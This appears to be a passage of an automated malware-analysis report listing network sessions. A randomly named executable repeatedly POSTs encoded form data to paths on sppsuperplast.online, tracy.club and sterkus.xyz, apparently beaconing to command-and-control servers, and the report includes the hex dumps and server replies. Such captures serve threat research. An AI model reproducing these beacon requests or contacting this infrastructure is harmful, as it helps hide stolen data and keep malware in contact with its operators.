                                                                                                                                                Nov 5, 2024 16:23:51.416743040 CET715OUTPOST /becc/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 219
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sppsuperplast.online
                                                                                                                                                Origin: http://www.sppsuperplast.online
                                                                                                                                                Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 41 54 49 30 48 31 44 53 43 75 6b 46 74 72 78 34 7a 61 30 54 4e 71 6d 64 6a 61 74 51 46 66 61 58 59 6a 48 43 4d 6b 74 76 53 63 4d 2b 7a 4c 50 30 6b 51 42 33 48 34 38 71 76 48 6a 75 2b 37 61 33 45 59 4d 6b 78 38 53 4c 75 75 74 71 70 33 32 54 4e 64 78 57 76 79 69 72 55 39 42 76 51 44 4b 4e 72 70 65 59 54 51 36 47 57 6d 4f 63 32 4c 4c 45 77 43 39 74 38 44 59 33 65 61 76 4c 73 53 46 6c 4a 42 44 53 78 52 41 4a 36 6f 71 44 78 6c 42 33 47 31 45 2b 4f 64 68 30 6d 46 51 37 51 6f 68 72 7a 72 6a 62 48 57 66 2b 70 48 74 31 79 33 51 56 7a 59 35 61 55 6a 79 35 2b 70 36 70 44 31 49 38 71 69 6e 77 38 51 3d 3d
                                                                                                                                                Data Ascii: 76yp5b=AOqAmCRO8x5pATI0H1DSCukFtrx4za0TNqmdjatQFfaXYjHCMktvScM+zLP0kQB3H48qvHju+7a3EYMkx8SLuutqp32TNdxWvyirU9BvQDKNrpeYTQ6GWmOc2LLEwC9t8DY3eavLsSFlJBDSxRAJ6oqDxlB3G1E+Odh0mFQ7QohrzrjbHWf+pHt1y3QVzY5aUjy5+p6pD1I8qinw8Q==


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                7192.168.2.94998094.73.146.114805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:53.963911057 CET1728OUTPOST /becc/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 1231
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sppsuperplast.online
                                                                                                                                                Origin: http://www.sppsuperplast.online
                                                                                                                                                Referer: http://www.sppsuperplast.online/becc/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 41 4f 71 41 6d 43 52 4f 38 78 35 70 41 54 49 30 48 31 44 53 43 75 6b 46 74 72 78 34 7a 61 30 54 4e 71 6d 64 6a 61 74 51 46 66 53 58 59 51 50 43 4e 46 74 76 54 63 4d 2b 39 72 50 31 6b 51 42 71 48 38 5a 68 76 48 2f 55 2b 35 53 33 46 37 45 6b 7a 4f 36 4c 67 75 74 71 6d 58 32 4f 4a 64 77 65 76 32 47 76 55 38 78 76 51 44 4b 4e 72 6f 75 59 54 45 6d 47 46 32 4f 66 78 4c 4c 59 30 43 39 42 38 43 39 43 65 61 6a 78 73 6a 6c 6c 51 69 72 53 7a 6a 6f 4a 6e 34 71 46 2f 46 42 76 47 77 64 2b 4f 64 39 34 6d 45 30 64 51 76 4e 72 78 36 47 79 55 46 44 6b 31 47 73 47 33 6c 46 39 79 34 39 59 53 78 33 6c 6b 49 7a 4e 51 67 30 70 72 42 2b 48 75 65 78 4b 30 71 78 35 2f 59 43 70 32 76 67 4c 4b 47 54 68 56 30 48 47 2f 74 43 73 54 52 33 63 33 69 37 2b 46 4a 46 6f 2f 62 46 33 42 56 54 46 61 70 4e 39 36 7a 46 58 34 43 73 6c 64 6a 76 6c 6b 38 6a 7a 2b 46 51 73 5a 32 4e 59 4a 63 5a 43 62 64 36 34 62 2b 77 58 6d 45 55 4d 50 52 58 4f 57 67 75 46 35 74 41 6e 65 37 62 42 56 4e 65 36 4a 5a 46 64 6d 39 67 59 37 56 74 [TRUNCATED]
                                                                                                                                                Data Ascii: 76yp5b=AOqAmCRO8x5pATI0H1DSCukFtrx4za0TNqmdjatQFfSXYQPCNFtvTcM+9rP1kQBqH8ZhvH/U+5S3F7EkzO6LgutqmX2OJdwev2GvU8xvQDKNrouYTEmGF2OfxLLY0C9B8C9CeajxsjllQirSzjoJn4qF/FBvGwd+Od94mE0dQvNrx6GyUFDk1GsG3lF9y49YSx3lkIzNQg0prB+HuexK0qx5/YCp2vgLKGThV0HG/tCsTR3c3i7+FJFo/bF3BVTFapN96zFX4Csldjvlk8jz+FQsZ2NYJcZCbd64b+wXmEUMPRXOWguF5tAne7bBVNe6JZFdm9gY7Vt/RyVLzafEqt3XBgvza/u9G85JvZnSu/ntWj1zlDXn/K3/qcmpc+rD41NAifcZJdF+N3DleLGKZD5PbCWqXXWvAZlqCF4KPjLY4ls+KOPxviPjYxeAGxwxeG2wlSELY+i5m/0J52thZg4w/n4RUVTnrh2orqdKxDk8giCxVyqBYGfPrxbZkEt61IWSFxMYzs7+ZhdpMxbF5cNi57eQndgj2mN9YZ/iVPt+ou7Fywp+WqoMwVEnzxUFoSNO/uqQ2/V2m1Yekp2rAcHeTxG9nXFPJUSz/PaSHbUbaglbyVeoXuk1yhBHaC/YYLh4kJdm+ib6B+RI8nclttP8zej6Gmq4JLAPHqlqRHwm8YRGfhwCnp8x/qYjMxfXm0p6YZupWDNDKNQnF+LKwfofhAP1J1vrTASR1ypmfWvinyCELs7q9whGXEOwR2Br1kOSGBrZpZe3X48Q0rjWE3MEEIKDSe0HGmWKAWyN1bXFs2lavbxrRRcFleedpN8ONan6ZUnmfxsor6RB1SDPwlH4s2Z4IsU/g/PuP2jJslrfSrC3kkscmxB1iIu+BuFA3XRpQ16gxjxqcGujTM5WT4TssvRam+sKXzz3mlJhImy9iLRqsdtJXDh2XxdVYN7noaKj/0yEFLyTTUN+SCtbGOr/jbYgsx9sWo9P7PsaGHtPs [TRUNCATED]


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                8192.168.2.94998194.73.146.114805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:23:56.507215023 CET419OUTGET /becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7N HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.sppsuperplast.online
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Nov 5, 2024 16:23:58.112376928 CET502INHTTP/1.1 301 Moved Permanently
                                                                                                                                                Connection: close
                                                                                                                                                x-powered-by: PHP/8.1.30
                                                                                                                                                expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                cache-control: no-cache, must-revalidate, max-age=0
                                                                                                                                                content-type: text/html; charset=UTF-8
                                                                                                                                                x-redirect-by: WordPress
                                                                                                                                                location: http://sppsuperplast.online/becc/?76yp5b=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq+0r9zHfOkYA3BHmcUXc8X+6X2iixUCsZsuiX+6YOVLq03j5m1hpFW51KlNbBS8GqvLsVmQjui7pqzBw==&UPXL=bb7xLbVx1lkD7N
                                                                                                                                                content-length: 0
                                                                                                                                                date: Tue, 05 Nov 2024 15:23:57 GMT
                                                                                                                                                server: LiteSpeed


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                9192.168.2.9499823.33.130.190805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:03.313610077 CET661OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 195
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.tracy.club
                                                                                                                                                Origin: http://www.tracy.club
                                                                                                                                                Referer: http://www.tracy.club/fl4z/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 70 5a 47 67 62 4c 59 6e 35 61 47 31 74 46 43 49 73 57 73 75 7a 37 67 77 61 41 4c 49 2f 6b 4d 66 35 6e 78 69 35 73 6a 78 4c 74 30 54 4a 53 49 32 6f 31 76 36 4d 51 46 58 6c 57 78 4a 55 65 34 5a 4b 67 61 4b 4a 30 6a 63 71 34 70 77 71 62 5a 50 65 4a 79 54 73 4c 4b 44 35 76 4c 66 69 75 64 55 47 63 44 47 66 45 4a 62 71 71 4e 45 41 68 58 46 38 69 76 53 62 6b 59 48 37 53 37 4c 56 31 4b 4a 52 5a 74 41 33 6d 33 30 45 75 67 54 76 48 78 2b 67 6a 73 2f 37 41 52 41 67 61 55 75 74 32 6d 36 34 34 71 71 4e 2f 41 73 62 66 6d 79 7a 56 4f
                                                                                                                                                Data Ascii: 76yp5b=uPfqn9UBI+zzepZGgbLYn5aG1tFCIsWsuz7gwaALI/kMf5nxi5sjxLt0TJSI2o1v6MQFXlWxJUe4ZKgaKJ0jcq4pwqbZPeJyTsLKD5vLfiudUGcDGfEJbqqNEAhXF8ivSbkYH7S7LV1KJRZtA3m30EugTvHx+gjs/7ARAgaUut2m644qqN/AsbfmyzVO


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                10192.168.2.9499833.33.130.190805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:05.854553938 CET685OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 219
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.tracy.club
                                                                                                                                                Origin: http://www.tracy.club
                                                                                                                                                Referer: http://www.tracy.club/fl4z/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 4a 70 47 69 36 4c 59 32 70 61 48 72 39 46 43 65 63 57 6f 75 7a 33 67 77 65 78 4f 50 4e 41 4d 66 5a 33 78 77 34 73 6a 79 4c 74 30 4c 35 53 4e 79 6f 31 30 36 4d 55 6e 58 6c 36 78 4a 55 4b 34 5a 4c 51 61 4a 2b 41 73 64 36 34 72 39 4b 62 58 4d 75 4a 79 54 73 4c 4b 44 36 54 74 66 6b 47 64 55 58 73 44 48 37 59 4f 45 61 71 4f 54 77 68 58 58 4d 69 72 53 62 6b 32 48 36 66 57 4c 58 39 4b 4a 51 46 74 41 6d 6d 32 39 45 75 6d 64 50 47 61 31 69 65 44 34 49 55 66 43 42 75 51 76 76 79 74 30 35 59 30 37 2f 32 62 35 4d 66 42 31 55 63 6d 57 50 61 62 72 6d 69 6b 41 31 38 57 2b 67 52 62 72 2f 6b 42 47 51 3d 3d
                                                                                                                                                Data Ascii: 76yp5b=uPfqn9UBI+zzeJpGi6LY2paHr9FCecWouz3gwexOPNAMfZ3xw4sjyLt0L5SNyo106MUnXl6xJUK4ZLQaJ+Asd64r9KbXMuJyTsLKD6TtfkGdUXsDH7YOEaqOTwhXXMirSbk2H6fWLX9KJQFtAmm29EumdPGa1ieD4IUfCBuQvvyt05Y07/2b5MfB1UcmWPabrmikA18W+gRbr/kBGQ==


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                11192.168.2.9499843.33.130.190805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:08.541660070 CET1698OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 1231
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.tracy.club
                                                                                                                                                Origin: http://www.tracy.club
                                                                                                                                                Referer: http://www.tracy.club/fl4z/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 4a 70 47 69 36 4c 59 32 70 61 48 72 39 46 43 65 63 57 6f 75 7a 33 67 77 65 78 4f 50 4e 49 4d 66 76 37 78 69 62 55 6a 7a 4c 74 30 56 4a 53 4d 79 6f 30 75 36 4d 73 6a 58 6c 6e 47 4a 57 79 34 5a 70 6f 61 43 73 6f 73 55 36 34 72 30 71 62 57 50 65 4a 6e 54 73 62 57 44 35 37 74 66 6b 47 64 55 55 30 44 41 76 45 4f 66 61 71 4e 45 41 68 54 46 38 69 54 53 62 73 41 48 36 4b 72 4c 6d 64 4b 4a 77 56 74 4d 30 4f 32 79 45 75 6b 61 50 47 43 31 69 53 63 34 49 59 54 43 42 4c 31 76 74 53 74 32 49 78 79 67 2b 75 46 72 38 75 39 38 57 45 53 59 61 53 38 6e 56 66 79 58 6d 51 72 75 68 51 61 74 4f 6c 55 62 43 42 73 67 45 78 4d 35 44 55 61 4b 79 58 6f 38 7a 6d 65 64 55 32 41 4e 72 37 41 51 44 71 78 56 36 57 41 76 73 56 78 38 62 44 37 6a 49 63 76 6f 71 31 70 55 59 62 63 76 4b 74 67 35 51 2f 78 57 57 57 46 38 73 48 7a 75 34 4a 6f 56 77 5a 4c 31 53 30 4f 77 66 67 6f 73 6e 39 55 48 49 49 63 70 66 73 39 54 79 56 6e 6a 76 6a 66 6d 33 75 6e 6f 4d 4d 74 55 2b 43 4e 49 38 58 [TRUNCATED]
                                                                                                                                                Data Ascii: 76yp5b=uPfqn9UBI+zzeJpGi6LY2paHr9FCecWouz3gwexOPNIMfv7xibUjzLt0VJSMyo0u6MsjXlnGJWy4ZpoaCsosU64r0qbWPeJnTsbWD57tfkGdUU0DAvEOfaqNEAhTF8iTSbsAH6KrLmdKJwVtM0O2yEukaPGC1iSc4IYTCBL1vtSt2Ixyg+uFr8u98WESYaS8nVfyXmQruhQatOlUbCBsgExM5DUaKyXo8zmedU2ANr7AQDqxV6WAvsVx8bD7jIcvoq1pUYbcvKtg5Q/xWWWF8sHzu4JoVwZL1S0Owfgosn9UHIIcpfs9TyVnjvjfm3unoMMtU+CNI8XVdCmeI3EnYpR2rQ/PDbVw/SKuPg2TSh8T3vEuT5kTwwzcXzIVUvWydiVJ7klIq0nmfTffo8NDOVnhEeomJYbX/T5Od4pAVvx7Vvibg8GZrqAc5xTTA5V44Dz6/n/lg58FvSVWbxsJChUyK0pDacseEGL3OUGBDmIqcE53tdBDmS0PObjU//AzuX5lKw854YHPMKp+BcHz+1tj1fuf7//gAnokHESzkdypTsPyK+pg/rS+1ci191ulJlhUS+GWorKJTvK/VINQfAlzxfU4Bkl6deC0ogh4UWxWVv87lE0XuH9LRECuZMZ6PhAATsZNXDWokykgFjbDWqRexD4HaLqhSO0pOl29o+acKh3+Yg+EmkW9zwG7TnXtVfRuQei9nqW+eE7FAwoJOmUBFfVD0olOuirXWwDt8BKGVCCDjDh7o7H1PSe5HxRIsbq1ZNgbdpqROACzA86HAdMIbhyk1Fa58h+empTZtjJIyLdApbylzeRDALqJ5dQLtXKIX5sSEmidclfx56GCKPHEewVR2qh3vFCnyyiaWk87HF5ZYzY+JmhZVw/dEDZM0YjW4BrUxyRkj4VDWm0EwOLwV99WPurO258L/hpOBXd0ROpkeLFLxpZ7d3A7Gwi1xhEB7s5HPvudz7v9NgQAVenRVa4HdZOY4Vlbzht6Bl09u [TRUNCATED]


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                12192.168.2.9499853.33.130.190805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:11.102241993 CET409OUTGET /fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.tracy.club
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Nov 5, 2024 16:24:11.414110899 CET409OUTGET /fl4z/?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Host: www.tracy.club
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Nov 5, 2024 16:24:12.756350994 CET398INHTTP/1.1 200 OK
                                                                                                                                                Server: openresty
                                                                                                                                                Date: Tue, 05 Nov 2024 15:24:12 GMT
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Content-Length: 258
                                                                                                                                                Connection: close
                                                                                                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 36 79 70 35 62 3d 6a 4e 33 4b 6b 4e 38 78 63 39 66 73 65 71 74 79 72 34 58 38 6e 4a 66 48 39 34 74 7a 51 73 2b 61 76 51 6a 77 6e 66 6f 58 66 5a 6b 52 61 49 58 4c 32 4a 5a 43 30 72 31 4a 54 74 4f 58 30 34 31 71 2f 38 4d 45 47 52 53 47 4f 6d 32 78 53 70 45 70 56 70 49 7a 63 70 31 4b 71 49 50 49 42 4a 6c 45 47 66 62 4e 5a 5a 76 6d 43 58 57 70 45 6d 59 36 5a 51 3d 3d 26 55 50 58 4c 3d 62 62 37 78 4c 62 56 78 31 6c 6b 44 37 4e 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?76yp5b=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzcp1KqIPIBJlEGfbNZZvmCXWpEmY6ZQ==&UPXL=bb7xLbVx1lkD7N"}</script></head></html>


                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                13192.168.2.949986209.74.95.29805268C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe
                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                Nov 5, 2024 16:24:17.926207066 CET664OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                Accept: */*
                                                                                                                                                Accept-Encoding: gzip, deflate, br
                                                                                                                                                Accept-Language: en-US,en
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: application/x-www-form-urlencoded
                                                                                                                                                Content-Length: 195
                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                Host: www.sterkus.xyz
                                                                                                                                                Origin: http://www.sterkus.xyz
                                                                                                                                                Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                Data Raw: 37 36 79 70 35 62 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 59 74 31 41 72 49 4d 59 6f 46 2b 73 57 76 45 64 59 70 59 56 58 6f 45 34 62 65 34 35 36 30 79 6f 69 4d 4a 35 77 51 44 52 4e 41 76 48 55 49 50 78 6c 43 68 7a 67 72 64 51 47 35 2b 6d 35 2b 5a 50 57 42 47 43 4d 56 76 75 2b 67 59 59 2f 54 79 59 46 4c 45 76 72 73 55 66 46 50 70 52 33 53 68 6f 56 48 2b 6e 55 77 4d 42 69 36 51 55 4f 72 36 79 73 6e 44 39 54 6b 72 58 35 6d 54 62 64 6b 57 72 56 42 32 2f 5a 50 59 68 4d 6d 2f 49 76 69 68 51 4b 4b 4d 75 67 64 4a 43 77 42 2f 77 66 67 33 44 2b 35 6d 30 49 36 51 61 4f 4e 6b 50 6f 67 49 43
                                                                                                                                                Data Ascii: 76yp5b=CZZgZ8wRGz3hYt1ArIMYoF+sWvEdYpYVXoE4be4560yoiMJ5wQDRNAvHUIPxlChzgrdQG5+m5+ZPWBGCMVvu+gYY/TyYFLEvrsUfFPpR3ShoVH+nUwMBi6QUOr6ysnD9TkrX5mTbdkWrVB2/ZPYhMm/IvihQKKMugdJCwB/wfg3D+5m0I6QaONkPogIC
                                                                                                                                                Nov 5, 2024 16:24:18.635469913 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                Date: Tue, 05 Nov 2024 15:24:18 GMT
                                                                                                                                                Server: Apache
                                                                                                                                                Content-Length: 13928
                                                                                                                                                Connection: close
                                                                                                                                                Content-Type: text/html
                                                                                                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                Nov 5, 2024 16:24:18.635567904 CET1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                Nov 5, 2024 16:24:18.635582924 CET1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                Nov 5, 2024 16:24:18.636281013 CET636INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
